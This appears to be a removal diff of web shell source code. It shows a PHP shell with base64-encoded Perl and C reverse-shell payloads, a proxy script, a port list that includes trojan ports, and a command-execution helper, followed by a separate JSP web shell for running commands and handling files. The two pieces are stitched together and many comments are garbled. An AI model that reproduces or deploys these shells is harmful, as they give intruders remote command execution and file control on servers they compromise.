-Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N -lIENPTk47DQpleGl0IDA7DQp9DQp9"; -$back_connect_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj -aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR -hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT -sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI -kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi -KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl -OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; -$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC -BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb -SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd -KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ -sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC -Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D -QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp -Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; -$prx1="IyEvaG9tZS9tZXJseW4vYmluL3BlcmwgLXcNCiMjIw0KIyMjaHR0cDovL2ZvcnVtLndlYi1oYWNrLnJ1L2luZGV4LnBocD9zaG93dG9waWM9 -MjY3MDYmc3Q9MCYjZW50cnkyNDYzNDQNCiMjIw0KDQp1c2Ugc3RyaWN0Ow0KJEVOVntQQVRIfSA9IGpvaW4gXCI6XCIsIHF3KC91c3IvdWNiIC9iaW4 -gL3Vzci9iaW4pOw0KJHwrKzsNCg0KIyMgQ29weXJpZ2h0IChjKSAxOTk2IGJ5IFJhbmRhbCBMLiBTY2h3YXJ0eg0KIyMgVGhpcyBwcm9ncmFtIGlzIG -ZyZWUgc29mdHdhcmU7IHlvdSBjYW4gcmVkaXN0cmlidXRlIGl0DQojIyBhbmQvb3IgbW9kaWZ5IGl0IHVuZGVyIHRoZSBzYW1lIHRlcm1zIGFzIFBlc -mwgaXRzZWxmLg0KDQojIyBBbm9ueW1vdXMgSFRUUCBwcm94eSAoaGFuZGxlcyBodHRwOiwgZ29waGVyOiwgZnRwOikNCiMjIHJlcXVpcmVzIExXUCA1 -LjA0IG9yIGxhdGVyDQoNCm15ICRIT1NUID0gXCJsb2NhbGhvc3RcIjsNCm15ICRQT1JUID0gXCI="; -$prx2="XCI7DQoNCnN1YiBwcmVmaXggew0KIG15ICRub3cgPSBsb2NhbHRpbWU7DQoNCiBqb2luIFwiXCIsIG1hcCB7IFwiWyRub3ddIFskeyR9XSAk -X1xcblwiIH0gc3BsaXQgL1xcbi8sIGpvaW4gXCJcIiwgQF87DQp9DQoNCiRTSUd7X19XQVJOX199ID0gc3ViIHsgd2FybiBwcmVmaXggQF8gfTsNCiR -TSUd7X19ESUVfX30gPSBzdWIgeyBkaWUgcHJlZml4IEBfIH07DQokU0lHe0NMRH0gPSAkU0lHe0NITER9ID0gc3ViIHsgd2FpdDsgfTsNCg0KbXkgJE -FHRU5UOyAgICMgZ2xvYmFsIHVzZXIgYWdlbnQgKGZvciBlZmZpY2llbmN5KQ0KQkVHSU4gew0KIHVzZSBMV1A6OlVzZXJBZ2VudDsNCg0KIEBNeUFnZ -W50OjpJU0EgPSBxdyhMV1A6OlVzZXJBZ2VudCk7ICMgc2V0IGluaGVyaXRhbmNlDQoNCiAkQUdFTlQgPSBNeUFnZW50LT5uZXc7DQogJEFHRU5ULT5h -Z2VudChcImFub24vMC4wN1wiKTsNCiAkQUdFTlQtPmVudl9wcm94eTsNCn0NCg0Kc3ViIE15QWdlbnQ6OnJlZGlyZWN0X29rIHsgMCB9ICMgcmVkaXJ -lY3RzIHNob3VsZCBwYXNzIHRocm91Z2gNCg0KeyAgICAjIyMgTUFJTiAjIyMNCiB1c2UgSFRUUDo6RGFlbW9uOw0KDQogbXkgJG1hc3RlciA9IG5ldy -BIVFRQOjpEYWVtb24NCiAgIExvY2FsQWRkciA9PiAkSE9TVCwgTG9jYWxQb3J0ID0+ICRQT1JUOw0KIHdhcm4gXCJzZXQgeW91ciBwcm94eSB0byA8V -VJMOlwiLCAkbWFzdGVyLT51cmwsIFwiPlwiOw0KIG15ICRzbGF2ZTsNCiAmaGFuZGxlX2Nvbm5lY3Rpb24oJHNsYXZlKSB3aGlsZSAkc2xhdmUgPSAk -bWFzdGVyLT5hY2NlcHQ7DQogZXhpdCAwOw0KfSAgICAjIyMgRU5EIE1BSU4gIyMjDQoNCnN1YiBoYW5kbGVfY29ubmVjdGlvbiB7DQogbXkgJGNvbm5 -lY3Rpb24gPSBzaGlmdDsgIyBIVFRQOjpEYWVtb246OkNsaWVudENvbm4NCg0KIG15ICRwaWQgPSBmb3JrOw0KIGlmICgkcGlkKSB7ICAgIyBzcGF3bi -BPSywgYW5kIElcJ20gdGhlIHBhcmVudA0KICAgY2xvc2UgJGNvbm5lY3Rpb247DQogICByZXR1cm47DQogfQ0KICMjIHNwYXduIGZhaWxlZCwgb3IgS -VwnbSBhIGdvb2QgY2hpbGQNCiBteSAkcmVxdWVzdCA9ICRjb25uZWN0aW9uLT5nZXRfcmVxdWVzdDsNCiBpZiAoZGVmaW5lZCgkcmVxdWVzdCkpIHsN -CiAgIG15ICRyZXNwb25zZSA9ICZmZXRjaF9yZXF1ZXN0KCRyZXF1ZXN0KTsNCiAgICRjb25uZWN0aW9uLT5zZW5kX3Jlc3BvbnNlKCRyZXNwb25zZSk -7DQogICBjbG9zZSAkY29ubmVjdGlvbjsNCiB9DQogZXhpdCAwIGlmIGRlZmluZWQgJHBpZDsgIyBleGl0IGlmIElcJ20gYSBnb29kIGNoaWxkIHdpdG -ggYSBnb29kIHBhcmVudA0KfQ0KDQpzdWIgZmV0Y2hfcmVxdWVzdCB7DQogbXkgJHJlcXVlc3QgPSBzaGlmdDsgICMgSFRUUDo6UmVxdWVzdA0KDQogd -XNlIEhUVFA6OlJlc3BvbnNlOw0KDQogbXkgJHVybCA9ICRyZXF1ZXN0LT51cmw7DQogd2FybiBcImZldGNoaW5nICR1cmxcIjsNCiBpZiAoJHVybC0+ -c2NoZW1lICF+IC9eKGh0dHB8Z29waGVyfGZ0cCkkLykgew0KICAgbXkgJHJlcyA9IEhUVFA6OlJlc3BvbnNlLT5uZXcoNDAzLCBcIkZvcmJpZGRlblw -iKTsNCiAgICRyZXMtPmNvbnRlbnQoXCJiYWQgc2NoZW1lOiBAe1skdXJsLT5zY2hlbWVdfVxcblwiKTsNCiAgICRyZXM7DQogfSBlbHNpZiAobm90IC -R1cmwtPnJlbC0+bmV0bG9jKSB7DQogICBteSAkcmVzID0gSFRUUDo6UmVzcG9uc2UtPm5ldyg0MDMsIFwiRm9yYmlkZGVuXCIpOw0KICAgJHJlcy0+Y -29udGVudChcInJlbGF0aXZlIFVSTCBub3QgcGVybWl0dGVkXFxuXCIpOw0KICAgJHJlczsNCiB9IGVsc2Ugew0KICAgJmZldGNoX3ZhbGlkYXRlZF9y -ZXF1ZXN0KCRyZXF1ZXN0KTsNCiB9DQp9DQoNCnN1YiBmZXRjaF92YWxpZGF0ZWRfcmVxdWVzdCB7DQogbXkgJHJlcXVlc3QgPSBzaGlmdDsgIyBIVFR -QOjpSZXF1ZXN0DQoNCiAjIyB1c2VzIGdsb2JhbCAkQUdFTlQNCg0KICMjIHdhcm4gXCJvcmlnIHJlcXVlc3Q6IDw8PFwiLCAkcmVxdWVzdC0+aGVhZG -Vyc19hc19zdHJpbmcsIFwiPj4+XCI7DQogJHJlcXVlc3QtPnJlbW92ZV9oZWFkZXIocXcoVXNlci1BZ2VudCBGcm9tIFJlZmVyZXIgQ29va2llKSk7D -QogIyMgd2FybiBcImFub24gcmVxdWVzdDogPDw8XCIsICRyZXF1ZXN0LT5oZWFkZXJzX2FzX3N0cmluZywgXCI+Pj5cIjsNCiBteSAkcmVzcG9uc2Ug -PSAkQUdFTlQtPnJlcXVlc3QoJHJlcXVlc3QpOw0KICMjIHdhcm4gXCJvcmlnIHJlc3BvbnNlOiA8PDxcIiwgJHJlc3BvbnNlLT5oZWFkZXJzX2FzX3N -0cmluZywgXCI+Pj5cIjsNCiAkcmVzcG9uc2UtPnJlbW92ZV9oZWFkZXIocXcoU2V0LUNvb2tpZSkpOw0KICMjIHdhcm4gXCJhbm9uIHJlc3BvbnNlOi -A8PDxcIiwgJHJlc3BvbnNlLT5oZWFkZXJzX2FzX3N0cmluZywgXCI+Pj5cIjsNCiAkcmVzcG9uc2U7DQp9"; -$port[1] = "tcpmux (TCP Port Service Multiplexer)"; -$port[2] = "Management Utility"; -$port[3] = "Compression Process"; -$port[5] = "rje (Remote Job Entry)"; -$port[7] = "echo"; -$port[9] = "discard"; -$port[11] = "systat"; -$port[13] = "daytime"; -$port[15] = "netstat"; -$port[17] = "quote of the day"; -$port[18] = "send/rwp"; -$port[19] = "character generator"; -$port[20] = "ftp-data"; -$port[21] = "ftp"; -$port[22] = "ssh, pcAnywhere"; -$port[23] = "Telnet"; -$port[25] = "SMTP (Simple Mail Transfer)"; -$port[27] = "ETRN (NSW User System FE)"; -$port[29] = "MSG ICP"; -$port[31] = "MSG Authentication"; -$port[33] = "dsp (Display Support Protocol)"; -$port[37] = "time"; -$port[38] = "RAP (Route Access Protocol)"; -$port[39] = "rlp (Resource Location Protocol)"; -$port[41] = "Graphics"; -$port[42] = "nameserv, WINS"; -$port[43] = "whois, nickname"; -$port[44] = "MPM FLAGS Protocol"; -$port[45] = "Message Processing Module [recv]"; -$port[46] = "MPM [default send]"; -$port[47] = "NI FTP"; -$port[48] = "Digital Audit Daemon"; -$port[49] = "TACACS, Login Host Protocol"; -$port[50] = "RMCP, re-mail-ck"; -$port[53] = "DNS"; -$port[57] = "MTP (any private terminal access)"; -$port[59] = "NFILE"; -$port[60] = "Unassigned"; -$port[61] = "NI MAIL"; -$port[62] = "ACA Services"; -$port[63] = "whois++"; -$port[64] = "Communications Integrator (CI)"; -$port[65] = "TACACS-Database Service"; -$port[66] = "Oracle SQL*NET"; -$port[67] = "bootps (Bootstrap Protocol Server)"; -$port[68] = "bootpd/dhcp (Bootstrap Protocol Client)"; -$port[69] = "Trivial File Transfer Protocol (tftp)"; -$port[70] = "Gopher"; -$port[71] = "Remote Job Service"; -$port[72] = "Remote Job Service"; -$port[73] = "Remote Job Service"; -$port[74] = "Remote Job Service"; -$port[75] = "any private dial out service"; -$port[76] = "Distributed External Object Store"; -$port[77] = "any private RJE service"; -$port[78] = "vettcp"; -$port[79] = "finger"; -$port[80] = "World Wide Web HTTP"; -$port[81] = "HOSTS2 Name Serve"; -$port[82] = "XFER Utility"; -$port[83] = "MIT ML Device"; -$port[84] = "Common Trace Facility"; -$port[85] = "MIT ML Device"; -$port[86] = "Micro Focus Cobol"; -$port[87] = "any private terminal link"; -$port[88] = "Kerberos, WWW"; -$port[89] = "SU/MIT Telnet Gateway"; -$port[90] = "DNSIX Securit Attribute Token Map"; -$port[91] = "MIT Dover Spooler"; -$port[92] = "Network Printing Protocol"; -$port[93] = "Device Control Protocol"; -$port[94] = "Tivoli Object Dispatcher"; -$port[95] = "supdup"; -$port[96] = "DIXIE"; -$port[98] = "linuxconf"; -$port[99] = "Metagram Relay"; -$port[100] = "[unauthorized use]"; -$port[101] = "HOSTNAME"; -$port[102] = "ISO, X.400, ITOT"; -$port[103] = "Genesis Point-to-Point"; -$port[104] = "ACR-NEMA Digital Imag. & Comm. 300"; -$port[105] = "CCSO name server protocol"; -$port[106] = "poppassd"; -$port[107] = "Remote Telnet Service"; -$port[108] = "SNA Gateway Access Server"; -$port[109] = "POP2"; -$port[110] = "POP3"; -$port[111] = "Sun RPC Portmapper"; -$port[112] = "McIDAS Data Transmission Protocol"; -$port[113] = "Authentication Service"; -$port[115] = "sftp (Simple File Transfer Protocol)"; -$port[116] = "ANSA REX Notify"; -$port[117] = "UUCP Path Service"; -$port[118] = "SQL Services"; -$port[119] = "NNTP"; -$port[120] = "CFDP"; -$port[123] = "NTP"; -$port[124] = "SecureID"; -$port[129] = "PWDGEN"; -$port[133] = "statsrv"; -$port[135] = "loc-srv/epmap"; -$port[137] = "netbios-ns"; -$port[138] = "netbios-dgm (UDP)"; -$port[139] = "NetBIOS"; -$port[143] = "IMAP"; -$port[144] = "NewS"; -$port[150] = "SQL-NET"; -$port[152] = "BFTP"; -$port[153] = "SGMP"; -$port[156] = "SQL Service"; -$port[161] = "SNMP"; -$port[175] = "vmnet"; -$port[177] = "XDMCP"; -$port[178] = "NextStep Window Server"; -$port[179] = "BGP"; -$port[180] = "SLmail admin"; -$port[199] = "smux"; -$port[210] = "Z39.50"; -$port[213] = "IPX"; -$port[218] = "MPP"; -$port[220] = "IMAP3"; -$port[256] = "RAP"; -$port[257] = "Secure Electronic Transaction"; -$port[258] = "Yak Winsock Personal Chat"; -$port[259] = "ESRO"; -$port[264] = "FW1_topo"; -$port[311] = "Apple WebAdmin"; -$port[350] = "MATIP type A"; -$port[351] = "MATIP type B"; -$port[363] = "RSVP tunnel"; -$port[366] = "ODMR (On-Demand Mail Relay)"; -$port[371] = "Clearcase"; -$port[387] = "AURP (AppleTalk Update-Based Routing Protocol)"; -$port[389] = "LDAP"; -$port[407] = "Timbuktu"; -$port[427] = "Server Location"; -$port[434] = "Mobile IP"; -$port[443] = "ssl"; -$port[444] = "snpp, Simple Network Paging Protocol"; -$port[445] = "SMB"; -$port[458] = "QuickTime TV/Conferencing"; -$port[468] = "Photuris"; -$port[475] = "tcpnethaspsrv"; -$port[500] = "ISAKMP, pluto"; -$port[511] = "mynet-as"; -$port[512] = "biff, rexec"; -$port[513] = "who, rlogin"; -$port[514] = "syslog, rsh"; -$port[515] = "lp, lpr, line printer"; -$port[517] = "talk"; -$port[520] = "RIP (Routing Information Protocol)"; -$port[521] = "RIPng"; -$port[522] = "ULS"; -$port[531] = "IRC"; -$port[543] = "KLogin, AppleShare over IP"; -$port[545] = "QuickTime"; -$port[548] = "AFP"; -$port[554] = "Real Time Streaming Protocol"; -$port[555] = "phAse Zero"; -$port[563] = "NNTP over SSL"; -$port[575] = "VEMMI"; -$port[581] = "Bundle Discovery Protocol"; -$port[593] = "MS-RPC"; -$port[608] = "SIFT/UFT"; -$port[626] = "Apple ASIA"; -$port[631] = "IPP (Internet Printing Protocol)"; -$port[635] = "RLZ DBase"; -$port[636] = "sldap"; -$port[642] = "EMSD"; -$port[648] = "RRP (NSI Registry Registrar Protocol)"; -$port[655] = "tinc"; -$port[660] = "Apple MacOS Server Admin"; -$port[666] = "Doom"; -$port[674] = "ACAP"; -$port[687] = "AppleShare IP Registry"; -$port[700] = "buddyphone"; -$port[705] = "AgentX for SNMP"; -$port[901] = "swat, realsecure"; -$port[993] = "s-imap"; -$port[995] = "s-pop"; -$port[1024] = "Reserved"; -$port[1025] = "network blackjack"; -$port[1062] = "Veracity"; -$port[1080] = "SOCKS"; -$port[1085] = "WebObjects"; -$port[1227] = "DNS2Go"; -$port[1243] = "SubSeven"; -$port[1338] = "Millennium Worm"; -$port[1352] = "Lotus Notes"; -$port[1381] = "Apple Network License Manager"; -$port[1417] = "Timbuktu Service 1 Port"; -$port[1418] = "Timbuktu Service 2 Port"; -$port[1419] = "Timbuktu Service 3 Port"; -$port[1420] = "Timbuktu Service 4 Port"; -$port[1433] = "Microsoft SQL Server"; -$port[1434] = "Microsoft SQL Monitor"; -$port[1477] = "ms-sna-server"; -$port[1478] = "ms-sna-base"; -$port[1490] = "insitu-conf"; -$port[1494] = "Citrix ICA Protocol"; -$port[1498] = "Watcom-SQL"; -$port[1500] = "VLSI License Manager"; -$port[1503] = "T.120"; -$port[1521] = "Oracle SQL"; -$port[1522] = "Ricardo North America License Manager"; -$port[1524] = "ingres"; -$port[1525] = "prospero"; -$port[1526] = "prospero"; -$port[1527] = "tlisrv"; -$port[1529] = "oracle"; -$port[1547] = "laplink"; -$port[1604] = "Citrix ICA, MS Terminal Server"; -$port[1645] = "RADIUS Authentication"; -$port[1646] = "RADIUS Accounting"; -$port[1680] = "Carbon Copy"; -$port[1701] = "L2TP/LSF"; -$port[1717] = "Convoy"; -$port[1720] = "H.323/Q.931"; -$port[1723] = "PPTP control port"; -$port[1731] = "MSICCP"; -$port[1755] = "Windows Media .asf"; -$port[1758] = "TFTP multicast"; -$port[1761] = "cft-0"; -$port[1762] = "cft-1"; -$port[1763] = "cft-2"; -$port[1764] = "cft-3"; -$port[1765] = "cft-4"; -$port[1766] = "cft-5"; -$port[1767] = "cft-6"; -$port[1808] = "Oracle-VP2"; -$port[1812] = "RADIUS server"; -$port[1813] = "RADIUS accounting"; -$port[1818] = "ETFTP"; -$port[1973] = "DLSw DCAP/DRAP"; -$port[1985] = "HSRP"; -$port[1999] = "Cisco AUTH"; -$port[2001] = "glimpse"; -$port[2049] = "NFS"; -$port[2064] = "distributed.net"; -$port[2065] = "DLSw"; -$port[2066] = "DLSw"; -$port[2106] = "MZAP"; -$port[2140] = "DeepThroat"; -$port[2301] = "Compaq Insight Management Web Agents"; -$port[2327] = "Netscape Conference"; -$port[2336] = "Apple UG Control"; -$port[2427] = "MGCP gateway"; -$port[2504] = "WLBS"; -$port[2535] = "MADCAP"; -$port[2543] = "sip"; -$port[2592] = "netrek"; -$port[2727] = "MGCP call agent"; -$port[2628] = "DICT"; -$port[2998] = "ISS Real Secure Console Service Port"; -$port[3000] = "Firstclass"; -$port[3001] = "Redwood Broker"; -$port[3031] = "Apple AgentVU"; -$port[3128] = "squid"; -$port[3130] = "ICP"; -$port[3150] = "DeepThroat"; -$port[3264] = "ccmail"; -$port[3283] = "Apple NetAssitant"; -$port[3288] = "COPS"; -$port[3305] = "ODETTE"; -$port[3306] = "mySQL"; -$port[3389] = "RDP Protocol (Terminal Server)"; -$port[3521] = "netrek"; -$port[4000] = "icq, command-n-conquer and shell nfm"; -$port[4321] = "rwhois"; -$port[4333] = "mSQL"; -$port[4444] = "KRB524"; -$port[4827] = "HTCP"; -$port[5002] = "radio free ethernet"; -$port[5004] = "RTP"; -$port[5005] = "RTP"; -$port[5010] = "Yahoo! Messenger"; -$port[5050] = "multimedia conference control tool"; -$port[5060] = "SIP"; -$port[5150] = "Ascend Tunnel Management Protocol"; -$port[5190] = "AIM"; -$port[5500] = "securid"; -$port[5501] = "securidprop"; -$port[5423] = "Apple VirtualUser"; -$port[5555] = "Personal Agent"; -$port[5631] = "PCAnywhere data"; -$port[5632] = "PCAnywhere"; -$port[5678] = "Remote Replication Agent Connection"; -$port[5800] = "VNC"; -$port[5801] = "VNC"; -$port[5900] = "VNC"; -$port[5901] = "VNC"; -$port[6000] = "X Windows"; -$port[6112] = "BattleNet"; -$port[6502] = "Netscape Conference"; -$port[6667] = "IRC"; -$port[6670] = "VocalTec Internet Phone, DeepThroat"; -$port[6699] = "napster"; -$port[6776] = "Sub7"; -$port[6970] = "RTP"; -$port[7007] = "MSBD, Windows Media encoder"; -$port[7070] = "RealServer/QuickTime"; -$port[7777] = "cbt"; -$port[7778] = "Unreal"; -$port[7648] = "CU-SeeMe"; -$port[7649] = "CU-SeeMe"; -$port[8000] = "iRDMI/Shoutcast Server"; -$port[8010] = "WinGate 2.1"; -$port[8080] = "HTTP"; -$port[8181] = "HTTP"; -$port[8383] = "IMail WWW"; -$port[8875] = "napster"; -$port[8888] = "napster"; -$port[8889] = "Desktop Data TCP 1"; -$port[8890] = "Desktop Data TCP 2"; -$port[8891] = "Desktop Data TCP 3: NESS application"; -$port[8892] = "Desktop Data TCP 4: FARM product"; -$port[8893] = "Desktop Data TCP 5: NewsEDGE/Web application"; -$port[8894] = "Desktop Data TCP 6: COAL application"; -$port[9000] = "CSlistener"; -$port[10008] = "cheese worm"; -$port[11371] = "PGP 5 Keyserver"; -$port[13223] = "PowWow"; -$port[13224] = "PowWow"; -$port[14237] = "Palm"; -$port[14238] = "Palm"; -$port[18888] = "LiquidAudio"; -$port[21157] = "Activision"; -$port[22555] = "Vocaltec Web Conference"; -$port[23213] = "PowWow"; -$port[23214] = "PowWow"; -$port[23456] = "EvilFTP"; -$port[26000] = "Quake"; -$port[27001] = "QuakeWorld"; -$port[27010] = "Half-Life"; -$port[27015] = "Half-Life"; -$port[27960] = "QuakeIII"; -$port[30029] = "AOL Admin"; -$port[31337] = "Back Orifice"; -$port[32777] = "rpc.walld"; -$port[45000] = "Cisco NetRanger postofficed"; -$port[32773] = "rpc bserverd"; -$port[32776] = "rpc.spray"; -$port[32779] = "rpc.cmsd"; -$port[38036] = "timestep"; -$port[40193] = "Novell"; -$port[41524] = "arcserve discovery"; -//////////////////////////////////////////////////////////////////////////////// -////////////////////////////////�������///////////////////////////////////////// -/////////////////////////////////////////////////////////////////////////////// -function rep_char($ch,$count) //���������� ������� -{ - $res=""; - for($i=0; $i<=$count; ++$i){ - $res.=$ch.""; - } - return $res; -} -function ex($comd) //���������� ������� -{ - $res = ''; - if (!empty($comd)){ - if(function_exists('exec')){ - exec($comd,$res); - $res=implode("\n",$res); - }elseif(function_exists('shell_exec')){ - $res=shell_exec($comd); - }elseif(function_exists('system')){ - ob_start(); - system($comd); - $res=ob_get_contents(); - ob_end_clean(); - }elseif(function_exists('passthru')){ - ob_start(); - passthru($comd); - $res=ob_get_contents(); - ob_end_clean(); - }elseif(is_resource($f=popen($comd,"r"))){ - $res = ""; - while(!feof($f)) { $res.=fread($f,1024); } - pclose($f); - } - } - return $res; -} -function sysinfo() //����� SYSINFO -{ - global $curl_on, $dis_func, $mysql_stat, $safe_mode, $server, $HTTP_SERVER_VARS; - echo(" System information:
-
"); - echo (($safe_mode)?("Safe Mode:
ON "): - ("Safe Mode: OFF ")); - $row_dis_func=explode(', ',$dis_func); - echo ("PHP: ".phpversion()." "); - echo ("MySQL: "); - if($mysql_stat){ - echo "ON "; - } - else { - echo "OFF "; - } - echo "cURL: "; - if($curl_on){ - echo "ON
"; - }else - echo "OFF
"; - if ($dis_func!=""){ - echo "Disabled Functions:
".$dis_func."
"; - } - $uname=ex('uname -a'); - echo "OS: "; - if (empty($uname)){ - echo (php_uname()."
"); - }else - echo $uname."

"; - $id = ex('id'); - echo "SERVER: ".$server."
"; - echo "id: "; - if (!empty($id)){ - echo $id."
"; - }else - echo "user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid(). - "

"; - echo "RemoteAddress:".$HTTP_SERVER_VARS['REMOTE_ADDR']."
"; - if(isset($HTTP_SERVER_VARS['HTTP_X_FORWARDED_FOR'])){ - echo "RemoteAddressIfProxy:".$HTTP_SERVER_VARS['HTTP_X_FORWARDED_FOR'].""; - } - echo "
"; - echo "
"; -} -function read_dir($dir) //������ ����� -{ - $d=opendir($dir); - $i=0; - while($r=readdir($d)){ - $res[$i]=$r; - $i++; - } - return $res; -} -function permissions($mode,$file) { //����������� ������� - $type=filetype($file); - $perms=$type[0]; - $perms.=($mode & 00400) ? "r" : "-"; - $perms.=($mode & 00200) ? "w" : "-"; - $perms.=($mode & 00100) ? "x" : "-"; - $perms.=($mode & 00040) ? "r" : "-"; - $perms.=($mode & 00020) ? "w" : "-"; - $perms.=($mode & 00010) ? "x" : "-"; - $perms.=($mode & 00004) ? "r" : "-"; - $perms.=($mode & 00002) ? "w" : "-"; - $perms.=($mode & 00001) ? "x" : "-"; - $perms.="(".$mode.")"; - return $perms; -} -function open_file($fil, $m, $d) //������� ���� -{ - if (!($fp=fopen($fil,$m))) { - $res="Error opening file!\n"; - }else{ - ob_start(); - readfile($fil); - $res=ob_get_contents(); - ob_end_clean(); - if (!(fclose($fp))){ - $res="ERROR CLOSE"; - } - } - echo "
"; - echo ""; - echo ""; - echo ""; - echo " - -
".$fil."
- -

-
-

 

-<%} -else{%> - - - - - - - - - - - - <%=path1%>" ENCTYPE="multipart/form-data"> - - - - - - <% String fileexe=""; - String dir=""; - String deldir=""; - String scrfile=""; - String dstfile=""; - fileexe=request.getParameter("fileexe"); - dir=request.getParameter("dir"); - deldir=request.getParameter("deldir"); - scrfile=request.getParameter("scrfile"); - dstfile=request.getParameter("dstfile"); - if (fileexe!=null) - { - //out.print(path+fileexe); - createFile(path+fileexe); - } - if (dir!=null) - { - //out.print(path+dir); - createFolder(path+dir); - } - if (deldir!=null) - { - //out.print(deldir); - DeleteFolder(deldir); - } - if (scrfile!=null&dstfile!=null) - { - //out.print(scrfile); - //out.print(dstfile); - copyfinish=fileCopy(scrfile, dstfile) ; - } - %> - - - - - - <%//�ϴ� - String tempfilename=""; - String up=request.getParameter("up"); - // String tempfilepath=request.getParameter("filepath"); - // out.print(tempfilepath); - if(up!=null) - { - tempfilename=(String)session.getId(); - //String tempfilename=request.getParameter("file"); - File f1=new File(tempfilepath,tempfilename); - int n; - try - { - InputStream in=request.getInputStream(); - BufferedInputStream my_in=new BufferedInputStream(in); - FileOutputStream fout=new FileOutputStream(f1); - BufferedOutputStream my_out=new BufferedOutputStream(fout); - byte[] b=new byte[10000]; - while((n=my_in.read(b))!=-1) - { - my_out.write(b,0,n); - } - my_out.flush(); - my_out.close(); - fout.close(); - my_in.close(); - in.close(); - // out.print("�ļ������ɹ�!
"); - } - catch(IOException e) - { - out.print("�ļ�����ʧ��!"); - } - - try - { - RandomAccessFile random1=new RandomAccessFile(f1,"r"); - random1.readLine(); - String filename=random1.readLine(); - byte[] b=filename.getBytes("ISO-8859-1"); - filename=new String(b); - int pointer=filename.lastIndexOf('\\'); - filename=filename.substring(pointer+1,filename.length()-1); - File f2=new File(tempfilepath,filename); - RandomAccessFile random2=new RandomAccessFile(f2,"rw"); - random1.seek(0); - for(int i=1; i<=4; i++) - { - String tempstr=random1.readLine(); - } - long startPoint=random1.getFilePointer(); - random1.seek(random1.length()); - long mark=random1.getFilePointer(); - int j=0; - long endPoint=0; - while((mark>=0)&&(j<=5)) - { - mark--; - random1.seek(mark); - n=random1.readByte(); - if(n=='\n') - - { - j++; - endPoint=random1.getFilePointer(); - } - } - long length=endPoint-startPoint+1; - int order=(int)(length/10000); - int left=(int)(length%10000); - byte[] c=new byte[10000]; - random1.seek(startPoint); - for(int i=0; i - - - - -
JspWebShell - version 1.0(��վĿ¼:<%=config.getServletContext().getRealPath("/")%>)
- <% - File[] fs = File.listRoots(); - for (int i = 0; i < fs.length; i++){ - %> - ���ش���(<%=fs[i].getPath()%>) - - <%}%> -
-
- - -
-

- <% - String cmd = ""; - InputStream ins = null; - String result = ""; - if (request.getParameter("command") != null) { - cmd = (String)request.getParameter("command");result = exeCmd(cmd);%> - <%=result == "" ? " " : result%> - <%}%> -

- JSP̽��
- ������� - - -
- ����� - - -
- �ļ� - ���Ƶ� - - -
<%if(copyfinish==true) out.print("���Ƴɹ�");%>
- <% try { - //path=request.getParameter("path"); - //if(path==null) - //path=config.getServletContext().getRealPath("/"); - File f=new File(path); - File[] fList= f.listFiles() ; - for (int j=0;j - <%=fList[j].getName()%>     ɾ��
- <% } - - }//for - } catch (Exception e) { - System.out.println("�����ڻ�û��Ȩ��"); - } - %> -  
- <% try { - path=request.getParameter("path"); - if(path==null) - path=config.getServletContext().getRealPath("/"); - File f=new File(path); - File[] fList= f.listFiles() ; - for (int j=0;j - <%=fList[j].getName()%> - <%=path%>&editfile=<%=path%><%=fList[j].getName()%>" target="_blank">�༭ -   ɾ��
- <% } - }//for - } catch (Exception e) { - System.out.println("�����ڻ�û��Ȩ��"); - } - %> -
-

Power By �������[B.C.T] QQ:48124012

-

 

